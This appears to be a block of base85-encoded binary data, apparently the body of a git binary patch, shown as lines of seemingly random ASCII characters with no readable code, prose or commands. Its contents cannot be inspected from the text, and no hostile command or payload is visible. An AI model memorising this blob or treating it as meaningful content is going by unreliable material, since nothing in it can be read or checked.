zp!bg&y4(sf=0?(Z-3Ey*ueVeGk*gB_PNo1OK3R1gdCXB(^AV^>jLKnp`}!f%+b-(c zHppSlpg`AEw^Jjauc7tyIL^ryq(FOR*Z2t*)Q_{KD)76~8ndIL6R5QA2P&;!4H};# zlLr&b#R*xva$-Y=vcHb(!~aK(0V|!N&rD?J z{_JH*o|R9AsYXPH);=zMstY$sgi+c&xsk}U5E8oPk-ExA@iuHI zJDg%9k1maw^pbA$z(twyBvKj|Cw})j!m?K1UgDxNV)yoD+kKP>98foZ{un(Ow3~KOUT0o)DieP}AZ@_a|NBT1e;A=FG3;)%m}%cHmg92z5n6 zHKOIyjlw~JfH-GGeM-%)aQ(TxI&_nE7OOh*Mrl1$UiJkm_@FUOja5sQwC?IR&pnC@ zja754*G*Mv^Pjs4OiS8X#<2Pv$3sVTl;l)bxu7kJ+n_B;VSJ2}hqbL=c(E_o-g28fld0BT^&wt=$CJLKUmbwX>saB-!&+i*+!* z#)caQ6Z1{<^%_*TUcn~sShe7Avk0(unz)83M_}#i@;wzxn&gq_m+}&naFkK*p?`9` zTK>lIa_Ua8=Lfan1rHl(nWvF9o;hb`?%D6f&s;gzT*G>N11j12CLkMC-VwF`226cW z`PP-U@g^W35*Vr9_9|t!{@S^c{H%ntA_p? zwaVQ50?DvPhsy866mf+txuy``64ULN#OQq@rezE{X!niX=SUPjY8y1y{d>8Zr}4>S z+T2ih;`p7xd;Sd*?R80&RJ@Pk7LXio9{~n@t)@2*)a2O%iey$j<+P_z!AnnC6ELm$^TsN(NqD>fHn?B1QG-awgxu9;!9uMJ6$(t+45V-^BBBD+b$i z^OIF20A#bUoG=uWuQv2*AI+?lI%1fQks*l^*VY>%Ik#X+dNap$%t~$!)csTe%hU+2 zU0H?!*m=j_!YxtzB3hA;T8vP(mT7hPvtBgja!v+UtH#o#*vqs7D>low&U$P3m!sy~ zTJ+jkWz}@jU6{3zHEFo_PU#3SqMjinocjuG5G*||m}?K!yTEy=QQai3P0oP^(D(*g zPg-XVFnWCWt7F;t1F8}ffSXp2coTpBUY5`C1mzWF;0A}8b#RE0R|z)!lM2X4liax| zr1)TAq|rw|vp-LLVQ&v2?!;=vBfeC*L1mj5iQ2VLV2!yB zcEt7;uDmI}wimoIZ8y-ra#M?kisw?^m%v_AH4@}IL|6T~V(xww_IyplaWd~4&x`dm z(-Kk_x3-$_iXs|N3i1o2826VdJ>U(n9bE7w0XN@suYBHZx5KNNRr|A7RDbtMj?V>D zOIA~@!dY!d!1nGO*+k6roBBu+UNn{{>SYR;a$-21&`l_OLU#q9GdOjRqSeDxrX5ZA zHREbo`u)A*jVgS3R$N777pwHfVll%g~o$^VAT3WTRdF8l(Y&)U7%%&ix{!@^u zfoVqq7UhQOrp8F8e=4#9ID3X-Qw$@Syc|r+jLOkRr4+Rn!ax6lH;J`w7Nyb?5o)q^ z|7a>BHyg$LMqb|e6dumO-6QY0m7a3F8@gxXBwhC)x^AHk4ij>(uu9{Z5!r!P4|Wx{ za%$Ur){iIaa zgSVF)z|;9gp%xwmR!cN`addcZshuN{#R+J_Z$58CsF|+N)r_-VZ11V$&@;rJcG4=c z>bHjor!FdgjZt?$OI`t7l@fX7*1x@_3)9rT&7_RH9Sc%R3U>89a%x+PU%QB;(h&qM zOGVq;AX6^xHkD6T6Yw0-lh+5%XP@urftEzFF~~tLgzJ03>VNM)J127-13;vvhW}TS z!u_IqrFPkTa98J+TthO)43j&BK5~4hKJIlgoe?&a4I+o-#e~Y^JxwD&t3Li_m*1QF zqvkq#Z)e`bB5c#TJCB&68?|MPnc4Li#F^<>hPMzD$Z940u>ZQ#fnX9wo$wEmmf!}5 zJfP;WU`_r9<`U0;V=ie*Xk{g#(|qB8;R4;`zno2XoqiB<*(5*|tqFlmXH|WTido9{ zZAe~>-#L_Tu-2`^SHz`<0hY!T&Tol1Q_h`-fER?TiDd$Gfjo*-8ulMU1yrL@2`1(*&l^r<> zQ8o1hrsMf9ZX+xw!cc&lvCxDQlBV4B32j&Hg7-40g)NkJOr=eWB0C%m;Jn!IBHnXK0H*ew zIbZ5|qB$_IDe-Nrz4mMVaSWE}KQo>d>r~pQHP{uEj_~m#|8ql7@aI!AB5toAFIVxB zwp{+)AenYXKtv#S9qZ z2(`C*pib0ifK^Pe8qB70Mz`bl9T;B>W;RG&u}dq7A1niU#)FrRZ}}L##Jy7-cLJ87 z4)ylaFaXGv6oJ&mz2LG?`r9nPAsuzgibt6o0q||WzXq={f=XHcKs6U0*pdl_ZX zD=B367z;zCv$)~nFdj3`0Ssg9EEi{e`eO{myDU}$8{cvJ5sI}HyMs$pAh zglfjs1ER4&-^e8kmyJG)#xfmi6PCw_0KI!V_oH;j9ea*98)C3ES>qg;nU(cU zEi)At!jmTbDYL8PWq~y>U-nXGkq}$%k4rt6{|e}eZs^DD3!-j&CEsnY4enm`P`wNjgrceAn3>!P-&M2o1F`MUAR@RHEg0(Ksr%uzd&B+&rucLpI$=%_aitiLO){X_9?*1%=*M!EejpqC)(oRw4)H{cqm1M+Qg z4)bEo20NFSuq}!J4dX7K`7%0$;>r8UruvHd`XJ94#U!gmJ3Rbs5>B}ExI~AvYU@xc zC~APaDLTYm#j;=>rLytUEs}Tj3#H-tLk3C$hNk>!+UNWgyv9aKGkoH>XHuW--${Kd zS)Z7UPJ04aV+P+u>Zreo9!=h)BRAmS^T>c&tU(gBTPJ{Z+e|;ae$^NK{oSI@FkE6V zV`c~E1taHerRGnCN3XVjwdN7>Kn29BxbIy+vDz?;NpQew~xhWwl4d)+&~gK#MrkQ|I%9#`w$5LHEB|` z7MT)QJ(`RD8?2^cKn-a1f0Tl1yB5M<&WzLkYGHCCS?RaGuq%?e_P zstd`yD}P95z^CE`fL3*-Xs!-js)UrS(}%_M!w+Wo+}cCZ23J1{>tS_yagmbW3I z!#_@gJ$e_u;|?$9##$h@TQCcDNN^ z1{^UWZuNS%Ng~_k;3#q$&XiCOz**{hE_VS#cD=O2mimZjTqJ5I(dt2P$AR5=jiEC_ zU|0QWZJj}7z?a)ksVb&F3A|CO=@lI>T>Lj&k*s0INudR%M!^|!kp*3}p$$HwO*ta{ zi~z69d$DJpQE9HiWn+dBk%}R&FX~D#CPPc6j`)@XV6=vK=$OGGq6+ExjL4@oWpV&II%F zlaE!+2FcfIt}+(+2V_S3TlR3g2`j)JQPN9!nfwaF=>%%df_Xonn(zGxk_uzO%vFUL zn*B3N4Ciwj)HX5xOFtDrs?45KsAewGg$vG}L$lhf)wBe_lem2Uar#8Uwu zce^LZEPLNQ;HZgdl&VI}w~$K@d5=I`iPz~TTnZp}QTW$#7tB3|{WjnvGpW|qHE}ensunDAl{e4dY|Rubjsn; zXWwV*#*N^ga;w^=3n|I&g{-sVv|>~u_(q>?cX4*jQ-Fic8uxWagV%O#FnBw8i=qKk zPd)hcaiRCz?iuNp3@&h`?|Aa)c^aFd1KV_j-AfQat9mFgjK|!pM=PJ;y1T9f^07Dxv}n!iRjib%#-i^3nOab?VQ4P3WBjHg7O< z-INZfF%4a^lrJ12Wbd>Bp*1>u-czb(2I_})s?eI?Ge{e zz|T7a@v91E&c-Opo=cQT{_11AXd449Gp$i@pAf}zz^V8EGGOCQw_$^Epu*2H@zb%c zV&W%o2j1fcPRwZ>d44Q4#^*M~lo+8N&P)qEcftr!jM4q%Morgj(TQZ9o0!AF8YKyh z7oj~v3jYuq=m%AauJT!2V5*B3YS|RMRn<|eO;c^eOO+&ue zb_8D|eI%U+d8;}|?7tvOp?}ZgAUuT}8oE_2fNsv7##lY3cY1WRgf`!AYZS5uQ#PJY z)1rJUwwV&Xiw$j@4qo18Ph&luVl-z##Jk{iSU?ZYoPW)z=X?Uk`9y06Tp5tzjVuhM zNu0S%HR$Z-Moz~7r(bD548H_u=U>Z0#XIubF5o2ZqYz4y!O zwlH~2@L>@l9~m;DC5=8UWJE{ui%r?h=&{Jl;PnmNc4}-Eo9t=9^+l4>H}p1%^bn5z zFG9yS3#I9W#co{suj8v-3C7wLS;Av7D(nW~(r%%GIDJ}#ut`lA?x@R&P zacP+jxn{Mmb~fO%&kvtRm}i+WUfAm@Ca5uk#!Hf~%qhOiNCfndYVW=oL@b-PVQ1LjbS?ztJ9Vfm+pa4qBpeP|3Hk4ydIt61g06qd`#}_p7oi( zZ(S#%Wxt)f7bE`7+`4*ZZfU0LhB&3-$z1p|uaZe__XAifknp0SJS6NNSgUcu_@~m+ zhgUwceIsY${w381buU^ckB;;|nx;B#SRY+|k&EN}VmTsE=Soq<=7oH>sZ%z~IxK~# z`OTEP#__*s{6-{pb4*+}d+vOK9GBIE7-N+yt66A`7t~3`h!4>kkP7M|p_pSAs_Coy z)@NBG$VW(%&$L4&&6v+!R7&8Z^ zU3r+%^;>lrFuqH)ANd|ft+sXzUIZ#{mw*I&FF7~F%gW$NrPO3=*xWcG(;x^0C;Z(K zn~Q8A-D{Hpc}{0}UTbBbQoVw1TvJ_}?i!@jSok++leR?kc|;r zTa;S|EK@cNtvi%2;E!l?a3^?ay+cuXdNl%=!Zpp1hP{g}4Q2bgCOF{_O>p=oSnFSP zWW$!;kCJ+bPh_^lPsHcI-4K^B>z^mD%o<=5OVO`s$YYkIzb|WN6$Z44hFKpbYz30o zjcQ;pJ72b0Lv#`WF6Kpa z4D&5YD>f$-o)0e8yH9>Pr~dA(!9O1jk9x56=je~#c?8TwTzAIzEmohq~J@m7+IIE;9X0Kl&On)1w5t%EDvoumRG3kMtM_>lz6T*nxWkA|NJ z5Xz{y`tg4jpWwUxQMe9Ifo5LgoU8vol}6HFdrqfeGD();+$L3n7!8?s86=kE8J2&F zo-%Em9&G^20HSnVz@p=&+^ZWJ`KiUOSMwI*^XeAm`3(`pP4gK3`pi*HAb90IYLB(> zX#uncE-U8~#TZ$|*@0%Yj_RH?%Cxzx&%xj6A>Y!(K<<*Cv-B$D1Bd>ysdVWykD!)! zlDPka0fte>wG)t=Ph=PmD7S6opOxFA>SZ-ifO1KSTu_y61lJqm>JzL#Q(=uhy5>Gz1jyXYPCVYAa>EExNO5iUKQt`LBc61 zc;5NPurWP++1+$1zF=KS`82tB6>^-rxMgCK3fUReJi@-annz$krh4;nA$eJpqSX9M z?j=)k0TKePfBV>LbwWkXU#6Q~+D=R%Gfv+?>AHgk@!6~rg#KRB zyV2pF-OlLpAXr!!`-Oig?6)Y$`oy`c*$$MjA22RhytT-)aD5v4wD5;qnsNowS`@Uc zIb~2R5O_($XKP)@I}Epl%2a`YMFxHfRA#FPYydlf;oo)w*^@~N*hbGsfk{Ka z-C?(Y4CKu=H7+~`GJ)c=pj4d@sB)siygnjSy|NnAvYc-m8j>SqN#lQV7?qjk#p zk==_cj@x*TZ~GW8Rrd^kYZ~f0+vM6j+2#ESHV2HHG!@3?b$fsCcbEQf4E!q+(bh|u8MOz?G1uPe6 zCSs>Ddv0ZMPG^6HeKvt;UoUwbP13`&@V(r+@Vw?-8Q0ubGp^19W%DjQd}eysk`5(2=r>O7tf^i3qiGo)qP8 z>3BCPi^??<$83Yxd3B$b$RzD>^K}zUx%7ne);>oHvWh#7@nIy5zuS?B9$?0lcdk`9 zw7`;|u(tM8&$d8q5?&ct*?Ef*vLchFv-HxCh-8$kTDxh+(F1SM194fSXW@MFQRcN4 zsU(9Z8kd9E=hUCH#> zx$|cB8hbI4l+XHE-bO$_i-`%Ks6V8e^NQxV#-DUG(C6gMo5@+^@|ND;-;%i@_Q;3B ztG#@^?{K7AO@w`8Aven4Rh1VHO?4QGN9)Gx8!m0pvGon4HI7Z=Bp67>Bfy z{-%4PDv+W{`P<-vgkx09+GY(Svxj_x=H29j|HFuM*9!U>(!x#2sH7DW*i!_Xj&7+W z%6j8@6k>CK$xaD>9);5X#wg4`SRhQIj4J^8I3=BG(at_P{Tq*~0r%SGENs3xA@k|X zw-V9JRiF^~I_BNP#y@tSprgFZN)lcDWrD*SPB>u%MQHN}@Nz!G*3QKXa zxT=88u{Z8dIN|DVr7ly-CD&DUm%B>{1Fv}2KDSdmAf!$_mwbx$A-5rM4MqKo2ob)^ z#dQS+D(M@`&-kOhv-vZa6}T1FlCFiIjw60CocCqqK0cYK&Bxho=ne1`ap4HF0xwG6 z!v)KjPxRA-SbY(Wu19zk1UNpHaPFp{2!=r0k?X}^2>W^!(I0fB5mcsWdNlh;*CsPu zMi08+GTXxur$kCTbn_qRj2)h2P99%^`4Q*OwlxRs!^o5NswMkJs}c2a9aXIJN`55E zlyw#!;Ch8u`V>kReGTq^`eDFwqoM@>wqY9!Oz#4=?N7XV zCYPD!aI&IC+7|3(2hJMYOLKUQpGL;`7QXL)mV8-$X%`(iw{?}Lb>k;g)r85Rv62ci zZ-?!x`CXM(ki%B;|>OF5iQlZ`MRWDTGyH=xt-2nDu{cpzT4 zsnZ3Dk^rt19Rgr6{YUb{f0biG^dG1!q}GO4HQP^0rOQ`q;(*_10&=Q|q)ojpiG75J zAWrgoRfY}S7YA4xC&4bcl@7TU-tq$T73x%?N(jos9Vc3^)X*tQ1>N`yL=mMK4pePh zKa4hs=2|FN6OrJh-Mj>~ru`^@XifinD zoM8CL=h1ns;hf}9FgI^zlgAk-5&w=Si+W39AHL&RAEw=mF1`#%#I|kv{ibUGbMDSG z)qf{MZg0{_w*2ZzxAkEbd8~)V3WH*|BhxZ#Io_e%N*{VgNVR+^h@M>HZMX z$%_9WqgaJndQ2uFk!=LR944?r}?qwoN!#p}E&6NcvZFOT)Zeyfoy%dQ z0~&Ps#>$&ugGq&BCx6k(H?b^MwW3hu4|TS4BYYO)`Pn(2Z5)Ena4qOIbddlzPY3y? z+DRSNWYgSQ`NefAV4F!2r`f~Rm`7Hwr%LS)ZcxVN(P$kY_zooq8ZBCf!aAIr(~`7SeyouHY^X%Nv+ff9N)5aJV2n^MYl$|* zCnsyq;0Vjrqt|iS;{4Rsji0TY|S*Iv;GY)R$oQNd~}Bz}Iy%S((vOiaw64F5i_q?HLL7cn!- zAF}`x{W+bi(ML0VVH;OsO-5j0tXy2g?3|2$tXl+FH_&niV6H#b3e57ipr1ea$DqZ` zEFF#Pi5bK!^&O4g85!Dq{3Ci9BWn{!Q(_iIX6ENr{@Hh~I$+KINHPwz<^!6aP%-s8 zkmzXg1>|}=#u+w#Tx>m8nRtFzzlZ|MqlJuf$yJb+#I}3%Xc;hJ3v`2YgRX6YR*%Src=Cb|GHj`<*&_sqoC!SGdb8^d0 z9e*HmL>o+pdc-`QV{sC+XtjW-aLY#Cr;do5EzU5K8Qv_*&xH zSNK%%gxl1KUz-#d9_-#}9D747H)1kA;eoS~heYrwA5F(Vyb{)XZAYy;##IxPVH} z`gKu7yC_9(F;92TwnwR?4@ImAon3H(5mVfl!FF*^4$%TvaOWnd8$1cJQ?%Us+LVEI zKl8(rY(pTeJC~TH>Vo{Uae2OArPH^2WpyV1d?YXuJ{8g(r2APkq~N!_Dx!HGcNodr zS28Myq&Kn#8QI!2fY6c2;dPO6J&6w?e{x%ku)9JZ9-q9nkSl1(^LcIR(8sNuV zyG>|OL(!ak8x;f<_l5K349g7Ycvf%a`tS>n0B@2whuh|Uxd>hUDElNxqlRJD&cy<#K&SG>WU!>Ukc2HH#4ByZQ#$xt1%?vqG_XXVY28f9^ zpzC2izJVh)`q17(hgU9Tz_nd-xrAI*F&bgP0&eC)1dEJ~40)WT&dpP8JGLAvz163e z+0{b06tb*5&4!7^6hSBN?#1Qe>6Zz12{rn_Ds3?*Rpz}t$CRR-Uw|I1aU&)^pp789nMmxY_6#-OCs`zew+>l#6EYFZJyd4+`r;=B?zio^NXY z@P2OKj(W4wOlfhM{nUZC_ZJk|>ncHWq~*DHs)a7Gy~_L$KU+ynF#n07gvL=9$)oN)0vmzqSNWdVdfDJDCn_xD8rk+y1pMJA zF&L8^&6_6QMa+8zoE-<$)9}Gz=J0v%3a#bh-U>;3utKT0GSXR`@03uHB8ckBTj$=* zGFKKGmS?xxxQ9H~WM$pEQMaE@m<64|>8-y)jYeI)CnaV%B3~J4vS(|{=$x}NQdU;&jQR^V zxZ>;ZJQ+1#S-Zm1Sc6b5$+y6t!dmiJ(5#86AdJLpEenHf*Z|U&y$L%Bp^q?DN8BmG z^G@9G7yQbi^8 zWs!J{x45S4v-B@r-s- zzt&rS*G-%I*wu^5?cY7TBv2V)dfU6cqzaQg;$6Df-5A`TUn2us#!w+hV(l;#uTz77 zlo3M>Q>n~3zLSr3{w2menNcOdNgEP%EQ`*mc`RqGgTb|)xe$b@aqEJleOBZ_4iGd_e2*=iLMZR-8tOxW%E=OKvXYg$li%iNVRhbqKPw5XVkSRfdua}< z9IqT8TtXpDF(|!Ay+vxK!=0q%anPsQA-IA$fV);zbn`9vF@=a++>OA%Io`hXTd&;Q zRO!*Ak)FWhcvWb}&b|U=E=5=qKLL@OIY(h_G;4Crib5EPR5#b$?kCdBT!h1~k>m|O zP3Odle=J?_t)-rcd^%dy02HQ0s$K`V5CUqMwRva`@iGr)I4PRy!&hBG`R0pf-^A~) zdORv8GLNVSAIm7lUI%M4>W=GTuhp4~w#j|HNxOEZ`b?cKcMv1`P~BBD&Z-R`-q8RP z-56h;P?hLmwr5euDJ7#m8=diCFUm-JnN=#Iur-%eVsDZp*p7lOW!+E*J*ots<}bY_vySR{SYh z&SoukI+P=Gj0_-0)Rp3fo{jK6*!kGvUc1k@^F*2u`?J>M9sxPAPU;PV69o_AtAqi0 zw%(dyXP*+m15SbN(JTf*q`>jVc2ggj$+=XzXEA9MCi3PME|uaS1U^vPo3eo?zS}%> zVT&AQ_0v2Cyz0c8tA9qTE&I;y9ae~o93hOg_>~i_*w*ElT8$y?Ca_oDNZY=6z>D`} z|B(FZI|<>7N+GfKD1iY6Ua4K!e)ombfpA7cx9>6>XsbD3f1grw0qy3X*9;duF0Vkv zrX3S`9Wn4#21p+o!2Heq^r`cQ^#WB%9N5}4-< zpGwCITKd{+QWC}UNfy+-QoYXUQN`7(-__9{{7O8q$;@~VqJr(adP#D}{@$K%N_x&V zxMWVK-K2wU?&?POO*5w&wK~c!e#-{UG+kAXi=B#IiFCBKhf*v2E(i02DK0^m)B=Y-W=b5 zR$E&ny0p4e)g5MB)P+-c$$yj7`zg&E{~UVTS-yCk&f!TU>~Qes9lOl-LF*|;WGm4V z+-^FI@jpw7xc*yy@JCYgXIAn%L;2uj;P^XJlC=6ORT4IHbdWc)7qPLjwXuFqnmB(? zscQBSNFmr+xPHHrFfubSbtGnEV)^}6#KzLb{)4T)A&_&uGjcXFG*T27{{78gDakt# zrT>|baIkZ5as5L^@@wwbF$h@*Na>6~9|7|n5X7%VkO&A41{Szy1qVFA!^6EmM0<&d zfPjeg3KayeLO}o<4+<3|0J_qYd%e$cGpI1;vrf=_&sJ>9v4FAGal#CF zl;lu}zz7+?w&j@D8o|2V!uS~aFb7^Mvyve7O3}hxtUR%~@3lT^bm%c3G))-0DYSC# zRP?2?&J4tBGy}^7bQ$$gt-YoXeg`mY6@8nO&)0z988NYpE5~>_-i{6oK$fz6Zyk0K|joR%9&RiAQ zD5zdU5`)id2*kEN%B^O`LQNpf4$==z+V^h_yonP zG(0qXef7g$h;F^fruxSo+e9P#2AWqVlnWWP#G$+L!3lzn?oINfM%@%Gsud+#*UX(; zkCzol6antdnXroI`~rbn*M5OCqkxU~3$*5=$v@e37Y<-z9f@wl|F^9}Q(WRz zCH=!wnY~fJKnR^fz7uJ=Y9?2BgLwHfo{s>vCkUF5lO zo~!ynpwB1+l~0e&^o5Zw{1u$8dH%|)@S8E$sH5J)B^gW4)~`$cOt*`bvx7W#QJ#}I zV@|zi{@x_oCURy zoa(zIK{yZ9&j(;bNZZmh-h4F78{00MD4xTO@wk$-tC_pjfAE z`n<~^n@%LT*`i1R=ZrS^`i=(zR<+^dfZ4(^J`21(FJyM2z z2e_N;}&PVIRxrX3N}}?gH1ATJ~G?13%6}q)E6oH+u_~GjAHL$a^PWx(GodX-? zhyEF_i$>LgcY5}|YPsg0 zVK#rg_OOSN=VSVKWOA=Mbnfo+{Y6ug_0?kIS+6-6P_Zx2tb17|4Q_mjT+JCQD5|^} z`%y~pz+lRB5#;qNL#c+2>o z&Jp!s5yZ(jchLqj4x%>UAA}o5(#m?FG{Ow?xNP30YCSx;tlZkA)?MX~`dxhIPkqe3 zu1-JFW$E90`a*Gj*0^YW(o2vZIo>+@3k3NOzX8z?W_fgHL5He4-8L|O=0dLzH`Z#F z(>;7vcwDR&(^xcDtppbQz^F$=)miHB`vRd z@AfTA_B4snq(+|WT|UmmD0j?(U!a-v-A5<5#@fr$TbzY7umeC%PDN`cb+d*VbsTwd z4jwZkgZ3Oc%rJQ@;VjWW!LYFRl!+B=tSg_ij8hY`aDsA62!-$LB_U=aP6Kg*c9Rc& z9uXZjj1(1(+U+jsB#!gTw#ZPm(i+C5CpNzBk#^iDr++}NZK3tkYMEguvC`{`R_~K1 zmB8m-D}<$nA3-FvTMQ*T6T7zneC1VNc+#&tQ{9n!>eY@fv0KR4lNY{DnqBN!Int$Z zc61ZRVQuSWmixLIxX&tURsP`KbZzH--Y_K64(4=`Dcen1>!YK)UMC4Si&5rSU8Oax zv5%H0>pl#_-T`59=%OAa+Ggw;Dw(!5v5#pRN4(MKa#if`%rBUHx!}c{9ohPHT@``i z^sbrY>7GozFf-10irUE`7bCcb3bTg}9Aq~j0c##4L=_eYC6 zA4FYrHftfApl2Nx>B3@Zl4*$e1zIqelO*xXpG5k?H9(lOi7}w#D&38>FvNkCFeVGr zQj#z}wBY~HR`F5v$~KFQy2*MFP26$|b-L%#%BSNO$T{Q6`Kgw>u@rp|GxY$`VwWwGyNLEH@6sf`h6fKddY1hH9UhNX z8;j(*e!Xe2(zzOxs;~aAHD9~9rCR-I(+>5P90#v{c?=@DpL6C3s@_j6Q5xE1;bTMe z6jXola+iT2Wl~fny@5S=Y|A7(N)hmbutYmB%+MvgQ7G{qVtdOw-0rhEVbyxT+jKl1 zk@=)J-^K|Y9=dNa6!q!S!FbFotJkeIhW5nLsMPc9fsg&{@@l7<{r8x0p4(v~dbRIv zU1?6 zo={b9xhSK1bwnBW8a~hPul@qPK)R_K@u_^s=S@rOIbj$&7+pO$>NdI2l}PSXJrmuY z&Jwe^L}gVpl8j+`X^w&)&S;HtnP~$YG>DCBuT~;zeXg1#S1Z32KV~v*Mctas9{W^J zR6#&PA`6}9Fh0SYp(cgSN2J?u+diKA^ikE@FMGXbzue4mkGeAY1-fc$AtY(VOagRg zK5=ldli17Kx2bOTk6v}zcffJ+7)3-Qw4d8L!zrrv7pOzTn~o*@@E3?0g)*0^aqxos z;`;91PH55zs@SXb2@UVeEaex-6g_o zncaJV0l)seaO?Ajk*3F|mL++|Wx)d?po-Z)@Ik{wVE##oP)^3sC1J;D_vG?w;}ctc zacu5BoZ7w513AaWB-hjEdB(ZBAzo7}OR0cQX)QVdhdg&LaB8vs9Lng`e~Tmo$sDjf zM(B*{if6vbY-0VQ{aB#qHZ=S~%{B)@z85d*1S^9qt$w4HCaq!eg#2tIsgRtjBItd+ zuOtUb+=_%$xCyVnwOu5YF52yr3^xIiv23ZSyiSh)-Ap>cR*ajZ^)(f_$=VUZdue;l zgFZ0#jwi!+IsIbStgD@ALyo)PWE|%2{n&wQaFJrz9B_AIwY8UHggv!aGm&g^hfzls zL`S^V_e2Y?M|xONla?nJqK?4$=IQf93o`->uFF>fRg|gWCOj;SdDXUb>qj1kTa8zt zWwm7(9;NZaA~tgI|6%RDVY zdNn&Mc>yi@2Zq;@D;pjyu-!a+A*vVQgDAJ6yNG57Dv*T&H~)HZN`6y-?SM1;pU%!2 zF#4Ph;~f>;U|IL6(Tn{rMqg##s!(}E{~`MNa^n#0M#WL>#w9|mlr%u?k_q#S{?xPc zI(*%6AHI6zctANU2Q$q+_?JsupARrg7ww!Qb6@L<8@qAwGT7-YqW0DD$JvBMC=Z9V z&m=FIYl0N^T{X@HjU~iQ_)QVc5!EuYAb9yfB%*u9>af=Qss}ndELLP|@@dXmhi+q2 zxS2BVg9pRuQcy$pH?O|1D|_ZSI{v0Gfjv15A@)#pHH$lZQEj)Nw7e`Z2V*W*@kfRn zw;$+>b}tgUeqF>?c~$mds~U*C@~*`W@9Ey;jaI!((CS$BOkgZv8@j=sWfj5F*#=9b zdsll1z_(YWLKA3^jTQ7V>3M>5S3lfgU35NK*gNMsDR1y_QAmlXv61^4$(;L!NKc4O z$psNrotIC5P3XHk3x{|OYI&Aes4rHE>pyX|q04qXmjK}wY>i81MR{MGS>!MhE%h=a zY+1&PbaNU`J~4l;@bt%^Gu5>D_`7%A<>~4mjxclqZ(x=#cReh3o^1I+AsYZ3hW2G& zko1_UD$j?k#Fm*pbao{eLkpjf()qr$Q^+{c(Or6`uqLG3m9RQVAix7yCY}pMHa3JV zNtE-{b6lX%LPE|!5pidDosEy%vdh*2ZjV-1x(Pj<@YU!7wIbSLG?Xd6S#c;@y_)tq zr}_?*I4M`RIteG=4<&DMX4s}f0={WbuFR;%ZM}7o{D2mZZ5ulcs;k$bqaQUY!_2+% z*|jWa6}QyKegydjIx^wAgQ${%9>wOuq_0cPHgB2JI=OKA{HEx>tyuokU%jE9jj+1H zhSQW$y4{>8P9<>e=Oa>qz_}c`K9;Y5rMDsSddh_3`Rhxnil;EPlehTgL7N~?9fv%Y zC_f32aDnZ^iMyeB7av$TzB@k~NiU?jk;?APy2vw8gRI{#w`5^!Fc&7HQ42&A(lH&p zRG;qg<6E$EI&V8G#rb{C^`~-R?T(&|kmFUoSz`yoreT_J>+p-$#QAY+o0U=0Ja&*h z;kSFu-+xosujY@D|Jq8i=QJY83lk)E6?kk|DIXdCHcJWuiOg36R zZd4~`hqr3ur^G)d`Ic5|=79lM`16-7pv$N+#%H~Y0qwADf8e8Ca_)~A8sqAm`wa4h zj92}LM_nGz%I$||E7p~ z?r-$v+M&(s)mN46%fFP&uF7UH=r{?zZu9#7U^niG zE`AGp?g9p`u%1^%r(A7$*ah%EiIhsFTPe=UcPNyG2`o#A*}h!*k#);5$@)iPdmAsk zt=pCVvV-palO1GOjm8B`-3=I}M-K!*<6FHm#iKDki}JR$kiXoZ!-^onFF=du=}^o z`9;Q4p5dc zS>KY(g4-(GiZn$4*MGMTz0ND@M{lB+q;5OCNTULpWS@a$AOk*zkAsbWQ-nk^7t70h zl*~z?wT3)yB6_kJz;Sp_aJxc1?(ZLPUq)vCreF^UPDR60S7Bo~yZnfA|1WF{AV;6Z zrf5gn!I7t{LIaY0JQUd@Pp+uVU$+_dn~*tE2{Xr zS*afO47}fXTM`r`9wTlZ7S<|drSx82qjarBR>Mg`moIDb+2&OK#WuT0I>ndX7KOgg zW6F=oTSv%GdH9nl?r+iYoLaVGv{x(GNJ&Dj! zV*O2#(*~JqJwavp0vvw_RAb}$t+jjoLx^H4 zc#NmYf3q)p>K%3}-Wp~xGQY7|WC~C1eLgV~o}mePnN;<4irdq}5zN-B?%d! z*%hYtX!9w_MI!%l%H|K7$Dt3|RNlKddAfK@Q&?LvJ|Mi=yYp|Y<(Lre1kf6~=gZl} zw4_sH=HEC;yta4Px*p)NhP3ey8XW>Q4L2)h`AA756(O?-_2GW{iRf5OkXYUEo**rc z2lNrom*gVIilXrT-2h7w57+LwJvCErKobXmrM|ptK&FzocS*Wy@$)9VFvXn23oSwS zQ;fF*3|ziw`?%I3@6=m(Ge;Iok+hI)h;4LjYv}aG7SG5)S-qh8ifH_^a7+?kTGY-E z(=RunDth1ZOdW@w9UgjKiJdLQmqnDGl0qtw8+$)c5YWYoJWs%F04Mmw7ZB*B9%wqDvx*|&r)8C_s9dx{JBSF zT&X|^CC3$Zsw?pV-ZGbJRknJpGQQ9Q`^dul9mm_-=qdHEox)wZ^3JYfwqUpJVTal{ zWKWK!v~ZkrZjF7FRfQtd;IZHm8K*A_Nb4xTorFfH>Onq!1|On9MAmukChs<#<8=9I zDae+{Af`S*27^!>qi3=cFd}~=Iuk83mq6bV`|!@WfBsb|%)`Gt)KTcc-JEOWfi|hw zg@+$$@*rfjY4Uf0d90PKM|7quLZNn0?)h*d%S6FN`o68rOZL8ikp&-3`(ypwPeh1jzjpfNC(9nhzidj;508)I zjn~g-le4Ga?dWg;x{QdUVnB7 zsn8=gS#Hn4sdgj)dAdjCYW|LVq+=h=Yik!rURZrOGUz`qvx@2_m7{oTA}|XKpX-O0 z$Et)y0&_HGZyNZjV1jlmm@X|x!ODA4+80-iUJtwZa=(WkOa`zUO2uImvX^{bBpce; z%Xf?2xx()9uKr4n%tAz7p+54>jd{;V|0?L=|n`^*!Y%x@u9c#eJB_9bFQvxPZ- zt}75!r*FUR)Q;wxnv8@|cVFV??*2h_{Ku+A!J}yEMM7$lLq z0fqllV;XO^Fq|-X`$AsgB;60n-5IRQVhMur00Fw)A6xj^dO6j>=GmO7m5_=AGTd?- zKn#3T0Yr9)%)a7D)n#&V0#@5L6EMAUq_k$e+d7MAMM^;i53!I9qT#Z)=?jN5*4vW= zo1In|Bkf~z|7=oh{mBO%B&vG=$1aKW@U_a=()3W;PO3moPjaKVU*8e&YubJ1+p~G# zHk;!-c~wn6cfSsnlPeOZz)o(#kS}p?@sB_xyxk%_KBug)X^M#%Yrj&XW-Uzv;PRjU@@S9@5G`Y^}{mDAF_<_J3>Dzb^*S>m1BSoE; zBT?*dPU-!HeBn0Kf8Rn^CML;En0})J#V5ljYsbY078UL|!EB+=c>c?_u*3&lxK~%r@3ab_EfQ!HfV19T2XLrbK94m@G0T<}Rb2AD>#Ul8F)ccx{T^Q|Z9J~GmlLMcPa@-dg8y`J zcs}LVX`zrOwM(@89YjGT0M8}hYh#a=m#wO~VI_*=UldC`fg`RLeho+xlWxMG)RT&@ z+S__azTTPjOIQxK`CSmlvqpQE@lhN-RgVf3%(hy 